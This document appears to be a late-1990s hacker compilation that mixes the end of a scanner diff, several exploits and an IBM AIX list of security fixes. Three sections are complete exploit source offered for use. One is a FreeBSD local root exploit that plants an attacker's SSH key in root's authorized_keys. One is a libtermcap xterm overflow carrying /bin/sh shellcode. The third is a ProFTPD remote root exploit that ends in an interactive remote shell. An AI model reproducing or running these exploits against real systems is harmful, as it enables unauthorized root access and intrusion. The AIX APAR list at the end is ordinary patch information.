diff -uN bass-1.0.7/wingate.c bass/wingate.c
--- bass-1.0.7/wingate.c        Sun Aug  8 12:43:51 1999
+++ bass/wingate.c      Sun Aug 15 08:12:38 1999
@@ -41,7 +41,7 @@
   if(!setjmp(jmpbuf))
   {
    if((n = read(sockfd, response + bytes, MAX_RESPONSE_SIZE - bytes)) <= 0)
-   { errno = EPROTO; goto fail; }
+   { errno = ENOPROTOOPT; goto fail; }
    alarm(0);

    for(i = 0; i<n; i++)


--

=========================
1.23-: BASS diffs (End) :
_________________________________________________________________________________________________________







_________________________________________________________________________________________________________
1.24-:FreeBSD (and other BSDs?) local root exploit (begin) :
============================================================


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

/*

 (c) 1999 babcia padlina ltd. <babunia@FreeBSD.lublin.pl>

 bug in fts_print function allows to overwrite any file in system, when
 running /etc/security script (executed from 'daily' scripts).

 affected systems:
   - freebsd (all versions)
   - probably openbsd/netbsd

 fix:
   - limit root's coredump size
   - patch libc

*/

#include <stdio.h>
#include <errno.h>
#include <sys/stat.h>
#include <strings.h>
#include <unistd.h>

#define STRING          "\nYOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!\n"
#define FILE            "/root/.ssh/authorized_keys"
#define CORE            "find.core"
#define DEPTH           300
#define BUFSIZE         250

int makedir(dir, linkfrom, linkto)
char *dir, *linkfrom, *linkto;
{

        if (mkdir(dir, (S_IRWXU | S_IRWXG | S_IRWXO)))
                return -1;

        if (chdir(dir))
                return -1;

        if (symlink(linkfrom, linkto) < 0)
                return -1;

        return 0;
}


int main(argc, argv)
int argc;
char **argv;
{
        int i = 0;
        char pid[10], buf[BUFSIZE];

        sprintf(pid, "%d", getpid());

        if (mkdir(pid, (S_IRWXU | S_IRWXG | S_IRWXO)))
        {
                perror("mkdir()");
                return -1;
        }

        if (chdir(pid))
        {
                perror("chdir()");
                return -1;
        }

        bzero(buf, BUFSIZE);
        memset(buf, 0x41, BUFSIZE-1);

        for(i=0;i<DEPTH;i++)
        {
                if (makedir(STRING, FILE, CORE) < 0)
                {
                        perror("makedir()");
                        return -1;
                }

                if(makedir(buf, FILE, CORE) < 0)
                {
                        perror("makedir()");
                        return -1;
                }
        }

        return 0;
}

- ---
* Fido: 2:480/124 ** WWW: FreeBSD.lublin.pl/~venglin ** GSM: +48-601-383657 *
* Inet: venglin@FreeBSD.lublin.pl ** PGP: D48684904685DF43 EA93AFA13BE170BF *

-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 5.0i for non-commercial use
Charset: noconv

iQA/AwUBN8MS2P6SPyHAYTvjEQLK5ACfZ1cVpjGzqIF3bTsIX/wrahJOqy4AoOEx
JkgnTo+Dk3QUFGT2bZdmxx9S
=Tyvh
-----END PGP SIGNATURE-----

==========================================================
1.24-:FreeBSD (and other BSDs?) local root exploit (End) :
_________________________________________________________________________________________________________






_________________________________________________________________________________________________________
1.25-:libtermcap xterm exploit (begin) :
========================================


/*
   ****************************************************
   ***          libtermcap xterm exploit            ***
   ***                by m0f0 1999                  ***
   ***                                              ***
   ***          it works for xterm/nxterm           ***
   ***          Tested Slackware 3.5, 3.6           ***
   ****************************************************
*/

#include <stdio.h>
#define BUF_SIZE 5000
#define POS_RET  2000
#define POS_SEP  3000
#define RETADDR  0xbfffefef
#define EGG      "/tmp/egg_termcap"

// shellcode
char shellcode[] = // 48 caracteres
    "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
    "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
    "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
    "\xff\xff/bin/sh";

void main (int argc, char *argv[]) {
  int i;
  FILE *f;
  char buf[BUF_SIZE];
  long retaddr, offset;

  printf ("\n");
  printf ("****************************************** \n");
  printf ("* libtermcap xterm exploit, by m0f0 1999 * \n");
  printf ("****************************************** \n\n");
  printf ("Use : %s [offset] \n", argv[0]);

  offset = 0;
  if (argc>1) {
    offset = atol (argv[1]);
  }

  retaddr = RETADDR + offset;
  printf ("Return Address = 0x%x \n",retaddr);


  // Fill buffer with NOP's
  memset (buf, 0x90, BUF_SIZE);
  buf[BUF_SIZE]=0;

  // Set termcap file header and sep
  memcpy (buf, "xterm|", 6);
  memcpy (buf+POS_SEP,":\\",2);

  // Return Address
  for (i=POS_RET; i<=POS_SEP-10; i+=4) {
    *(long*)(buf+i) = (long) retaddr;
  }

  // Copy shellCode
  for (i=0; i<strlen(shellcode); i++) {
    buf[i+2000] = shellcode[i];
  }

  // Write EGG_TERMCAP
  f = fopen (EGG,"w");
  fprintf (f,"%s",buf);
  fclose (f);

  // Export TERMCAP
  setenv ("TERMCAP", EGG, 1);

  // Run program
  execl ("/usr/X11R6/bin/xterm","xterm",NULL);

}

====================================
1.25-:libtermcap xterm exploit (End)
_________________________________________________________________________________________________________







_________________________________________________________________________________________________________
1.26-: ProFTPD (begin) :
========================

/*
 * !!!! Private .. ... distribute !!!!
 *
 * <pro.c> proftpd-1.2.0 remote root exploit (beta2)
 * (Still need some code, but it works fine)
 *
 * Offset: Linux Redhat 6.0
 * 0 -> proftpd-1.2.0pre1 
 * 0 -> proftpd-1.2.0pre2
 * 0 -> proftpd-1.2.0pre3
 * (If this dont work, try changing the align)
 *
 * Usage:
 * $ cc pro.c -o pro
 * $ pro 1.1.1.1 ftp.linuz.com /incoming 
 *
 * ****
 * Comunists are still alive ph34r
 * A lot of shit to : #cybernet@ircnet
 * Greez to
Soren,Draven,DaSnake,Nail^D0D,BlackBird,scaina,cliffo,m00n,phroid,Mr-X,inforic
 *          Dialtone,AlexB,naif,etcetc
 * without them this puppy cant be spreaded uaz uaz uaz
 * ****    
 *          

#include <stdio.h> 
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <time.h>
#include <string.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>
#include <netdb.h>

#define RET 0xbffff550
#define ALINEA 0

void logintoftp();
void sh();
void mkd(char *);
void put(char *);
int max(int, int);

char shellcode[] =
"\x90\x90\x31\xc0\x31\xdb\xb0\x17"
"\xcd\x80\x31\xc0\xb0\x17\xcd\x80"
"\x31\xc0\x31\xdb\xb0\x2e\xcd\x80"
"\xeb\x4f\x31\xc0\x31\xc9\x5e\xb0"
"\x27\x8d\x5e\x05\xfe\xc5\xb1\xed"
"\xcd\x80\x31\xc0\x8d\x5e\x05\xb0"
"\x3d\xcd\x80\x31\xc0\xbb\xd2\xd1"
"\xd0\xff\xf7\xdb\x31\xc9\xb1\x10"
"\x56\x01\xce\x89\x1e\x83\xc6\x03"
"\xe0\xf9\x5e\xb0\x3d\x8d\x5e\x10"
"\xcd\x80\x31\xc0\x88\x46\x07\x89"
"\x76\x08\x89\x46\x0c\xb0\x0b\x89"
"\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd"
"\x80\xe8\xac\xff\xff\xff";

char tmp[256];
char name[128], pass[128];

int sockfd;
struct sockaddr_in server, yo;
char inicio[20];

int main(int argc, char **argv) {

char sendln[1024], recvln[4048], buf1[1000], buf2[200];
struct hostent *host;
char *p, *q;
int len;
int offset = 0;
int align = 0;
int i;

if(argc < 4){
        printf("usage: pro <your_ip> <host> <dir> [-l name pass] [offset align]\n");
        printf("If dont work, try different align values (0 to 3)\n");
        exit(0); }
                
if(argc >= 5){
        if(strcmp(argv[4], "-l") == 0){
        strncpy(name, argv[5], 128);
        strncpy(pass, argv[6], 128);
} else {
        offset = atoi(argv[4]); }
        if(argc == 9)
        offset = atoi(argv[7]);
        align = atoi(argv[8]); }
        
sprintf(inicio, "%s", argv[1]);
                
if(name[0] == 0 && pass[0] == 0){
        strcpy(name, "anonymous");
        strcpy(pass, "a@a.es"); }

bzero(&server,sizeof(server));
bzero(recvln,sizeof(recvln));
bzero(sendln,sizeof(sendln));
server.sin_family=AF_INET;
server.sin_port=htons(21);

if((host = gethostbyname(argv[2])) != NULL) {
        bcopy(host->h_addr, (char *)&server.sin_addr, host->h_length);
} else {
        if((server.sin_addr.s_addr = inet_addr(argv[2]))<1) {
                perror("Obteniendo ip");
                exit(0); }
        }

bzero((char*)&yo,sizeof(yo));
yo.sin_family = AF_INET;

if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
        perror("socket()");
        exit(0); }

if((bind(sockfd, (struct sockaddr *)&yo, sizeof(struct sockaddr)))<0) {
        perror("bind()");
        exit(0); }

if(connect(sockfd, (struct sockaddr *)&server, sizeof(server)) < 0){
        perror("connect()");
        exit(0); }
        
printf("Destination_ip: %s \nDestination_port: %d\nSource_ip: %s \nSource_port:
%d\n",
inet_ntoa(server.sin_addr), ntohs(server.sin_port), inet_ntoa(yo.sin_addr),
ntohs(yo.sin_port));
        
printf("Connected\n");
getchar();
               
while((len = read(sockfd, recvln, sizeof(recvln))) > 0){
        recvln[len] = '\0';
        if(strchr(recvln, '\n') != NULL)
        break; }
                        
logintoftp(sockfd);
printf("Logged\n");
bzero(sendln, sizeof(sendln));

memset(buf1, 0x90, 800);
memcpy(buf1, argv[3], strlen(argv[3]));
mkd(argv[3]);
p = &buf1[strlen(argv[3])];
q = &buf1[799];
*q = '\x00';
while(p <= q) {
        strncpy(tmp, p, 100);
        mkd(tmp);
        p+=100; }

mkd(shellcode);
mkd("bin");
mkd("sh");

memset(buf2, 0x90, 100);
for(i=4-ALINEA-align; i<96; i+=4)
        *(long *)&buf2[i] = RET + offset;
p = &buf2[0];
q = &buf2[99];
strncpy(tmp, p, 100);
put(tmp);

sh(sockfd);

close(sockfd);
printf("EOF\n");
}

void mkd(char *dir) {
        
char snd[1024], rcv[1024];
char buf[1024], *p;
int n;
        
bzero(buf,sizeof(buf));
p=buf;

for(n=0;n<strlen(dir);n++) {
        if(dir[n]=='\xff') {
                *p='\xff';
                p++; }
        *p=dir[n];
        p++; }

sprintf(snd,"MKD %s\r\n",buf);
write(sockfd,snd,strlen(snd));
bzero(snd,sizeof(snd));
sprintf(snd,"CWD %s\r\n",buf);
write(sockfd,snd,strlen(snd));
bzero(rcv,sizeof(rcv));

while((n=read(sockfd,rcv,sizeof(rcv)))>0) {
        rcv[n]=0;
        if(strchr(rcv,'\n')!=NULL)
                break; }
        return;
}

void put(char *dir) {

char snd[1024], rcv[1024];
char buf[1024], *p;
int n;
int sockete, nsock;
int port;
int octeto_in[4];
char *oct;
        
port=getpid()+1024;

yo.sin_port=htons(port);
        
bzero(buf,sizeof(buf));
p=buf;
for(n=0;n<strlen(dir);n++) {
        if(dir[n]=='\xff') {
                *p='\xff';
                p++; }
        *p=dir[n];
        p++; }

oct=(char *)strtok(inicio,".");
octeto_in[0]=atoi(oct);
oct=(char *)strtok(NULL,".");
octeto_in[1]=atoi(oct);
oct=(char *)strtok(NULL,".");
octeto_in[2]=atoi(oct);
oct=(char *)strtok(NULL,".");
octeto_in[3]=atoi(oct);

sprintf(snd,"PORT %d,%d,%d,%d,%d,%d\r\n",octeto_in[0],octeto_in[1],
octeto_in[2],octeto_in[3],port / 256,port % 256);
write(sockfd,snd,strlen(snd));

// socket
// bind
// listen
if((sockete=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) {
        perror("Socket()");
        exit(0); }
                        
if((bind(sockete,(struct sockaddr *)&yo,sizeof(struct sockaddr)))==-1) {
        perror("Bind()");
        close(sockete);
        exit(0); }

if(listen(sockete,10)==-1) {
        perror("Listen()");
        close(sockete);
        exit(0); }

bzero(snd, sizeof(snd));
sprintf(snd, "STOR %s\r\n", buf);
write(sockfd, snd, strlen(snd));

// accept
// write
// close 
if((nsock=accept(sockete,(struct sockaddr *)&server,(int *)sizeof(struct
sockaddr)))==-1) {
        perror("accept()");
        close(sockete);
        exit(0); }
        
write(nsock, "aaaaaaaaa", 10);
 
close(sockete);
close(nsock);

bzero(rcv, sizeof(rcv));
while((n = read(sockfd, rcv, sizeof(rcv))) > 0){
        rcv[n] = 0;
        if(strchr(rcv, '\n') != NULL)
                break; }
        return; 
}

void logintoftp() {

char snd[1024], rcv[1024];
int n;

printf("Logging %s/%s\n", name, pass);
memset(snd, '\0', 1024);
sprintf(snd, "USER %s\r\n", name);
write(sockfd, snd, strlen(snd));

while((n=read(sockfd, rcv, sizeof(rcv))) > 0){
        rcv[n] = 0;
        if(strchr(rcv, '\n') != NULL)
                break; }

memset(snd, '\0', 1024);
sprintf(snd, "PASS %s\r\n", pass);
write(sockfd, snd, strlen(snd));

while((n=read(sockfd, rcv, sizeof(rcv))) > 0){
        rcv[n] = 0;
        if(strchr(rcv, '\n') != NULL)
                break; }
        return;
}

void sh() {
        
char snd[1024], rcv[1024];
fd_set rset;
int maxfd, n;

strcpy(snd, "cd /; uname -a; pwd; id;\n");
write(sockfd, snd, strlen(snd));

for(;;){
        FD_SET(fileno(stdin), &rset);
        FD_SET(sockfd, &rset);
        maxfd = max(fileno(stdin), sockfd) + 1;
        select(maxfd, &rset, NULL, NULL, NULL);
        if(FD_ISSET(fileno(stdin), &rset)){
                bzero(snd, sizeof(snd));
                fgets(snd, sizeof(snd)-2, stdin);
                write(sockfd, snd, strlen(snd)); }
        if(FD_ISSET(sockfd, &rset)){
                bzero(rcv, sizeof(rcv));
                if((n = read(sockfd, rcv, sizeof(rcv))) == 0){
                        printf("EOF.\n");
                        exit(0); }
                if(n < 0){
                        perror("read()");
                        exit(-1); }
                 fputs(rcv, stdout); }
        }
}

int max(int x, int y) {

if(x > y)
        return(x);
else
        return(y);
}

=====================
1.26-: ProFTPD (End)
_________________________________________________________________________________________________________






_________________________________________________________________________________________________________
1.27-:AIX security summary (begin):
===================================

The tool "bull_check" at the URL
        http://www-frec.bull.com/docs/download.htm#y2k
has been updated to check if any of these updates need to be installed on
your AIX-4 system.


---------- Forwarded message ----------
Date: Thu, 19 Aug 1999 12:39:07 -0500
From: AIX Service Mail Server <aixserv@austin.ibm.com>
To: Ciaran.Deignan@bull.net
Subject: Security_APARs

This is a list of security related APARs for current releases of AIX.
To facilitate ease of ordering all security related APARs for each
release can be ordered using the following packaging APARs.

  AIX 4.3:   IY03152    (updated 08/99)

  AIX 4.2:   IY03151    (updated 08/99)

  AIX 4.1:   IY03150    (updated 08/99)

APARs can be ordered using FixDist.  For additional information on FixDist
send e-mail with a subject of "FixDist" to aixserv@austin.ibm.com, or
refer to the following URL:

  http://service.software.ibm.com/rs6k/fixes.html
===========================================================================
AIX 4.3 APARs

IX72045  CDE LOGIN GIVES INVALID USER NAME MESSAGE BEFORE PW ENTERED
IX72553  SECURITY: VULNERABILITY IN I/O SIGNAL HANDLING
IX73077  SECURITY: FTP BOUNCE VULNERABILITY
IX73214  SECURITY: TELNET DENIAL OF SERVICE ATTACK
IX73438  SECURITY: VULNERABILITY IN DTAPPGATHER
IX73586  SECURITY HOLE IN FTP, TFTP, UTFTP
IX73836  /ETC/HOSTS.EQUIV IS ALLOWING WRONG USERS TO LOG IN
IX73951  SECURITY: ROUTED SHOULD IGNORE TRACE PACKETS
IX73961  PCNFSD DAEMON UPDATES WTMP FILE INCORRECTLY
IX74296  PROGRAMS USING LEX GENERATED SOURCE COREDUMP
IX74599  SECURITY: VULNERABILITY IN DIGEST
IX74793  SECURITY HOLE IN TN3270
IX74802  CSH CORE DUMPS WHEN ENV VARIABLE IS LONGER THAN 2K
IX75275  SECURITY: LOGSYMPTOM FOLLOWS SYMLINKS
IX75554  SECURITY: TIMEX CREATES INSECURE TEMPORARY FILES
IX75564  ETHERNET DRIVER PASSES PACKETS TOO SMALL CAUSING CRASH
IX75761  BAD FILE HANDLE CAN CRASH LOCK DAEMON
IX75840  SECURITY: DEAD.LETTER CREATED WITH GROUP PRINTQ
IX75864  SECURITY:  /BIN/MAN CREATES INSECURE TEMPORARY FILES
IX76039  SECURITY: DPID2 CORE DUMPS IN WORLD WRITABLE DIRECTORY
IX76040  SECURITY: SNMPD LOG FILE FOLLOWS SYMLINKS
IX76049  SECURITY: CDE TRASHINFO FILE CREATED WORLD-WRITABLE
IX76960  BIND: CERT ADVISORY CA-98.05
IX76962  BIND: CERT ADVISORY CA-98.05
IX77338  SECURITY: SORT CREATES INSECURE TEMPORARY FILES
IX77508  CDE MAILER (DTMAIL) ALLOWS A USER TO READ A MAILBOX WHICH THE
IX77592  SECURITY: PORTMAP CREATES INSECURE TEMPORARY FILES
IX78071  IFCONFIG.AT HAVE A WRONG FILE PERMISSIONS
IX78202  SECURITY: BUFFER OVERFLOWS IN XTERM AND AIXTERM.
IX78248  SECURITY: VULNERABILITY IN GROUP SHUTDOWN
IX78349  SECURITY: BAD PERMISSIONS ON /ETC/SECURITY/LOGIN.CFG
IX78564  SECURITY:LONG FONTNAMES CAN OVERFLOW BUFFERS IN FONTSERVER
IX78612  SECURITY: BUFFER OVERFLOWS IN XAW AND XMU.
IX78646  SECURITY: RC.NET.SERIAL CREATES INSECURE TEMPORARY FILES
IX78719  NFS V2 DOES NOT HANDLE 65535 AS A UID
IX78732  SECURITY: FILES IN /VAR/DT ARE CREATED INSECURELY BY CDE LOGIN
IX79136  SECURITY: INSECURE TEMPORARY FILES IN DIAGSUP SCRIPTS
IX79139  SECURITY: ACLPUT/ACLEDIT CREATE INSECURE TEMPORARY FILES
IX79679  "RCP SECURITY PROBLEM"
IX79681  SECURITY: INSECURE TEMPORARY FILES IN CMDMISC SCRIPTS
IX79682  SECURITY: INSECURE TEMPORARY FILES IN CMDSCCS SCRIPTS
IX79683  SECURITY: INSECURE TEMPORARY FILES IN CMDTZ SCRIPTS
IX79700  SECURITY: INSECURE TEMPORARY FILES IN CMDNLS SCRIPTS
IX79701  SECURITY: INSECURE TEMPORARY FILES IN CMDTEXT SCRIPTS
IX79857  SECURITY HOLE
IX79909  NSLOOKUP CORE DUMPS WITH LONG STRINGS
IX79979  SECURITY: VULNERABILITY IN GROUP SHUTDOWN
IX80036  SECURITY: CRON CREATES INSECURE LOCK FILE
IX80387  SECURITY: INSECURE CREATION OF LPD LOCK FILE
IX80391  SECURITY: INSECURE TEMPORARY FILES IN CMDSNAP SCRIPTS
IX80470  SECURITY: PTRACE() PROBLEM WITH SET-GID PROGRAMS
IX80510  SECURITY: DON'T INHERIT CLOSED STDIN,STDOUT,STDERR DESCRIPTORS
IX80543  SECURITY:LIBNSL BUFFER OVERRUNS
IX80548  SECURITY: RAS SCRIPTS SHOULDN'T FOLLOW SYMLINKS
IX80549  SECURITY: /BIN/MORE CREATES INSECURE TEMPORARY FILES
IX80762  SECURITY: /BIN/VI CREATES INSECURE TEMPORARY FILES
IX80792  SECURITY: BUFFER OVERFLOWS IN IMAPD
IX81058  SECURITY: INSECURE TEMPORARY FILES IN CMDBSYS SCRIPTS
IX81077  SECURITY: TTYLOCK() ALLOWS CREATION OF WORLD-READABLE FILES
IX81078  SECURITY: INSECURE TEMPORARY FILES IN CMDFILES SCRIPTS
IX81442  SECURITY: VULNERABILITY IN RPC.TTDBSERVERD
IX81507  SECURITY: MORE VULNERABILITIES IN PCNFSD
IX81999  POST COMMAND SHOULD NOT BE SUID
IX82002  FORCE REXECD USER PRIVILEDGES
IX83542  RESERVED
IX83752  SECURITY: VULNERABILITY IN AUTOFS
IX84493  SECURITY: VULNERABILITY IN SETGID EXECUTABLES
IX84642  SECURITY: VULNERABILITY IN INFOEXPLORER DAEMON (INFOD)
IX85233  SECURITY : MAILBOX GETS CORRUPTED
IX85556  SECURITY: BUFFER OVERFLOW IN FTP CLIENT
IX85600  BOOTP: CERT ADVISORY
IX86845  SVCAUTH_UNIX CRASH ON NEGATIVE NUMBER
IX87016  REMBAK FAILS WHEN INVOKED WITH VERY LONG USERNAME/HOSTNAME
IX87727  STOP UNCOMMENTING RPC DAEMONS IN /ETC/INETD.CONF AFTER NFS
IX88021  ADD FINGER TIMEOUT
IX88263  SECURITY: SNAP MAY LEAK SENSITIVE INFORMATION
IX88633  SECURITY: INSECURE TEMPORARY FILES IN /SBIN/RC.BOOT
IX89415  SECURITY: XAUTH IS BROKEN IN 4.3.X
IX89419  SECURITY: BUFFER OVERFLOW IN DTSPCD
IX89687  SECURITY: NFS SCRIPTS CREATE INSECURE TEMPORARY FILES
IY00892  INSECURE TEMPORARY FILES IN BOS.PERF PACKAGING SCRIPT
IY01439  SECURITY: INSECURE TEMPORARY FILES IN /ETC/RC.POWERFAIL
IY02120  SECURITY: BUFFER OVERFLOW IN NSLOOKUP
IY02397  SECURITY: NON-ROOT USERS CAN USE PTRACE TO CRASH THE SYSTEM
===========================================================================
AIX 4.2 APARs

IX59743  RDIST HAS A SECURITY HOLE.
IX60069  /VAR/DT SECURITY PROBLEM
IX60892  BUFFER OVERFLOW CAUSES CORE DUMP IN TZSET()
IX61125  POSSIBLE BUFFER OVERFLOW BUG IN /USR/BIN/AT
IX61127  SECURITY: POSSIBLE BUFFER OVERFLOW IN RWHOD
IX61199  NETWORK INTERFACES PADDING TO MINIMUM LENGTH LEAVE OLD DATA IN
IX61304  CERTS VU#12851:SENDMAIL GIVES LOCAL USER ACCESS TO DEFAULT USER
IX61305  CERTS#12002:SENDMAIL LETS USER BECOME ROOT WITH CHFN COMMAND
IX61858  LARGE ICMP PACKETS CAN CRASH MACHINE
IX62144  BUFFER OVERFLOW IN GETHOSTBYNAME()
IX62428  CERT: SYN FLOOD DENIAL-OF-SERVICE ATTACKS
IX63068  CERT: SENDMAIL SIGHUP VULNERABILITY
IX64204  SECURITY: LQUERYPV ALLOWS NON-ROOT USER TO READ ANY FILE
IX64443  CERTS:VU#3075 SENDMAIL VULNERABILITY
IX65281  SECURITY: HOSTS.EQUIV SHOULD BE IGNORED IF WORLD-WRITABLE
IX65473  CERT: BUFFER OVERFLOW IN TALKD
IX65538  CERT: FTPD RACE CONDITION IN SIGNAL HANDLING
IX65685  SECURITY: BUFFER OVERFLOW IN /USR/SBIN/LOGIN
IX66068  /USR/SBIN/MOUNT CREATES ROOT-OWNED CORE
IX66232  CORE DUMP FOR ILLEGAL LENGTH STRING IN SOME LVM COMMANDS
IX66344  SECURITY: LIBPATH USED FOR SETGID EXECUTABLES
IX66352  SECURITY: BUFFER OVERFLOWS IN LIBXT.A
IX66405  /TMP/XLOGFILE HAS WRONG PERMISSION.
IX66461  BUFFER OVERFLOW IN LIBXT.A
IX66819  RECONNECTING A TCP SOCKET CAN CRASH THE SYSTEM
IX66824  SECURITY: BUFFER OVERFLOWS IN LIBX11.A
IX66950  SECURITY:  BUFFER OVERFLOW IN /USR/LIB/ERRDEMON
IX67318  CERT: POSSIBLE BUFFER OVERFLOW IN FINGER DAEMON
IX67325  /TMP/LAST_UUID PERMISSIONS AND MISSING SYMBOLS
IX67377  CERT: BUFFER OVERFLOW IN NLS ENVIRONMENT VARIABLES
IX68087  SECURITY: VULNERABILITY IN RPC.PCNFSD
IX68191  SECURITY: BUFFER OVERFLOWS IN XLOCK
IX68250  BUFFER OVERFLOWS IN /USR/SBIN/MOUNT
IX68707  SECURITY: X11 RESOURCE MANAGER BUFFER OVERFLOW.
IX68769  CERT : CMSD SECURITY PROBLEM
IX68801  SECURITY: POSSIBLE BUFFER OVERFLOW IN GECOS HANDLING
IX69106  BUFFER OVERFLOW IN DTTERM.
IX69113  BUFFER OVERFLOW IN XTERM.
IX69169  SECURITY: BUFFER OVERFLOW IN WRITESRV DAEMON
IX69171  SECURITY: BUFFER OVERFLOW IN /BIN/RCP
IX69180  SECURITY: BUFFER OVERFLOW IN DTACTION
IX69704  SECURITY: BUFFER OVERFLOW IN AIXTERM
IX69714  CERT: VULNERABILITY IN YPPROC_XFR RPC
IX70035  LARGE MMAP REGION CAN RUN OUT OF PAGING SPACE AND HANG
IX70233  SECURITY: /USR/BIN/VACATION VULNERABILITY
IX70237  SECURITY: CACHE POISONING
IX70239  SECURITY: DISALLOW SENDMAIL -C FOR USERS IN GROUP SYSTEM
IX70263  CERT CA-97.09: VULNERABILITY IN IMAP/POP
IX70389  /ETC/HOSTS.EQUIV IS ALLOWING WRONG USERS TO LOGIN
IX70396  SECURITY: COPYCORE CREATES WORLD-READABLE DUMPS
IX70397  SECURITY: VULNERABILITY IN SRCMSTR
IX70660  SECURITY: SYSLOG DENIAL-OF-SERVICE VULNERABILITY
IX70766  POSSIBLE COREDUMP IN TPARM() ROUTINE
IX70815  MAKE NSLOOKUP SUID ROOT ONLY FOR RES_INIT
IX70875  SECURITY: BUFFER OVERFLOW IN RDIST
IX70886  SECURITY: FTP CLIENT INTERPRETS SERVER PROVIDED FILENAMES
IX70916  ONLY ALLOW LOOPBACK AS INTERFACE FOR PORTMAP REGISTER
IX70918  SECURITY: RPC.MOUNTD ALLOWS FILENAME DISCOVERY
IX71277  SECURITY: VULNERABILITY IN LIBISODE.A
IX71403  SECURITY: BUFFER OVERFLOWS IN RNETRC()
IX71405  SECURITY: DISCARD LOOPBACK PACKETS ON EXTERNAL INTERFACES
IX71517  SECURITY: VULNERABILITY IN PIODMGRSU
IX71581  SYSTEM FILE COULD BE OVERWRITTEN BY DTAPPINTEGRATE
IX71779  SECURITY: VULNERABILITY IN I/O SIGNAL HANDLING
IX71795  SECURITY: VULNERABILITY IN /USR/SBIN/PORTMIR
IX71806  NFSV3 ACCESS FOR OTHERS INCORRECT
IX71810  SECURITY: BAD TEMPORARY FILE CREATED FROM /USR/BIN/CFGMIR
IX71927  CDE LOGIN GIVES INVALID USER NAME MESSAGE BEFORE PW ENTERED
IX72021  SECURITY: BUFFER OVERFLOW IN XDAT
IX73022  NFS UID MISMATCH POSSIBLE ON CREATE
IX73076  SECURITY: FTP BOUNCE VULNERABILITY
IX73430  SEC: /USR/SBIN/MKLV SHELL SCRIPT HAS SET-UID BIT SET
IX73437  SECURITY: VULNERABILITY IN DTAPPGATHER
IX73580  SECURITY: TELNET DENIAL OF SERVICE ATTACK
IX73755  PTY_SETNAME MISMANAGES THE PROCESS CREDENTIAL
IX73893  PCNFSD DAEMON UPDATES WTMP FILE INCORRECTLY
IX73949  SECURITY: ROUTED SHOULD IGNORE TRACE PACKETS
IX74023  PROGRAMS USING LEX GENERATED SOURCE COREDUMPS
IX74335  SECURITY: NFS NOT HANDLING EXPORTS CORRECTLY
IX75157  BAD FILE HANDLE CAN CRASH LOCK DAEMON
IX75195  ETHERNET DRIVER PASSES PACKETS TOO SMALL CAUSING CRASH
IX75417  SECURITY HOLE IN TN3270
IX76015  NFS V2 DOES HANDLE 65535 AS A UID
IX76268  SECURITY: LOGSYMPTOM FOLLOWS SYMLINKS
IX76269  SECURITY: DPID2 CORE DUMPS IN WORLD WRITABLE DIRECTORY
IX76270  SECURITY HOLE IN FTP, TFTP, UTFTP
IX76272  SECURITY: VULNERABILITY IN DIGEST
IX76276  SECURITY: DEAD.LETTER CREATED WITH GROUP PRINTQ
IX76853  SECURITY: TIMEX CREATES INSECURE TEMPORARY FILES
IX76861  REFRESHING INETD TOO MANY TIMES CAN KILL IT
IX76863  SECURITY: SNMPD LOG FILE FOLLOWS SYMLINKS
IX76867  SECURITY:  /BIN/MAN CREATES INSECURE TEMPORARY FILES
IX76872  BOS.NET.TCP.CLIENT UPDATES RE-ENABLE SNMP AND DPID2
IX76875  SECURITY: NON-ROOT USERS CAN CREATE AND BIND TO AF_NDD SOCKETS
IX76878  SECURITY: CDE TRASHINFO FILE CREATED WORLD-WRITABLE
IX76879  REMOVE POTENTIAL SECURITY EXPOSURE FROM NETLSD
IX76886  SECURITY: SORT CREATES INSECURE TEMPORARY FILES
IX76959  BIND: CERT ADVISORY CA-98.05
IX76984  LIBBSD SLEEP() RACE CONDITION
IX77009  CORE FILE MAY CONTAIN DATA FROM OTHER USERS
IX77089  SETUPTERM CAN CORE DUMP
IX77506  CDE MAILER (DTMAIL) ALLOWS A USER TO READ A MAILBOX WHICH THE
IX77830  SECURITY: BUFFER OVERFLOWS IN XTERM AND AIXTERM.
IX77902  IFCONFIG.AT HAVE A WRONG FILE PERMISSIONS
IX78596  SECURITY: VULNERABILITY IN GROUP SHUTDOWN
IX78616  SECURITY:LONG FONTNAMES CAN OVERFLOW BUFFERS IN FONTSERVER
IX78641  "RCP SECURITY PROBLEM"
IX78673  SECURITY: BUFFER OVERFLOWS IN XAW AND XMU.
IX78729  SECURITY: FILES IN /VAR/DT ARE CREATED INSECURELY BY CDE LOGIN
IX79037  SECURITY: INSECURE TEMPORARY FILES IN DIAGSUP SCRIPTS
IX79447  SECURITY: CRON CREATES INSECURE LOCK FILE
IX79473  SECURITY: INSECURE TEMPORARY FILES IN CMDTEXT SCRIPTS
IX79836  SECURITY: VULNERABILITY IN GROUP SHUTDOWN
IX79893  SECURITY: PORTMAP CREATES INSECURE TEMPORARY FILES
IX80138  SECURITY: INSECURE CREATION OF LPD LOCK FILE
IX80791  SECURITY: BUFFER OVERFLOWS IN IMAPD
IX81232  SECURITY: BAD PERMISSIONS ON /ETC/SECURITY/LOGIN.CFG
IX81317  FORCE REXECD USER PRIVILEDGES
IX81360  SECURITY: /BIN/MORE CREATES INSECURE TEMPORARY FILES
IX81361  SECURITY: INSECURE TEMPORARY FILES IN CMDFILES SCRIPTS
IX81364  SECURITY: INSECURE TEMPORARY FILES IN CMDMISC SCRIPTS
IX81366  SECURITY: INSECURE TEMPORARY FILES IN CMDNLS SCRIPTS
IX81369  SECURITY: INSECURE TEMPORARY FILES IN CMDSCCS SCRIPTS
IX81370  SECURITY: INSECURE TEMPORARY FILES IN CMDTZ SCRIPTS
IX81377  SECURITY: /BIN/VI CREATES INSECURE TEMPORARY FILES
IX81441  SECURITY: VULNERABILITY IN RPC.TTDBSERVERD
IX81506  SECURITY: MORE VULNERABILITIES IN PCNFSD
